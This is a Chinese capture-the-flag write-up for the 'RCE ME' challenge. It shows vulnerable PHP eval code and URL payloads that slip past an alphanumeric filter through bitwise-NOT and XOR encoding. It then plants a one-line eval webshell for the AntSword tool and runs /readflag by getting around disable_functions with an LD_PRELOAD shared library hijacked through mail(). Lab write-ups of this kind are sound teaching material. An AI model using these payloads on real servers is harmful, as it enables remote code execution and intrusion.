[极客大挑战 2019] RCE ME

发布于 2021-08-06  60 次阅读


知识点

环境变量 LD_preload + mail劫持so来执行系统命令: 通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE

https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html

解题

打开题目获取源代码

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

代码很简单,绕过正则造成命令执行,正则过滤的很严格 大小写字母和数字全部被过滤,因此选择取反绕过正则

构造读取phpinfo的Exp

image-20210110211643804

?code=(~%8F%97%8F%96%91%99%90)();

image-20210110211753041

看到phpinfo()主要关注flag是否在里面,其次看disable_funcation禁用了那些

image-20210110211928942

没有FLAG存在

image-20210110212000535

绝大多数函数都被禁用

构造一句话木马,连接蚁剑,绕过disable_funcation

image-20210110212353930
image-20210110212404009

这个题就和之前挨骂,那个题是一样的了,这里有三种方法

  1. 利用蚁剑自带插件绕过disable_funcation
  2. 利用LD_preload + mail

​ 这里过长,参考网上的wp可以这样构造

?code=${_GET}[_](${_GET}[_]);&_=assert&_=eval($_POST['a'])
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/1.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so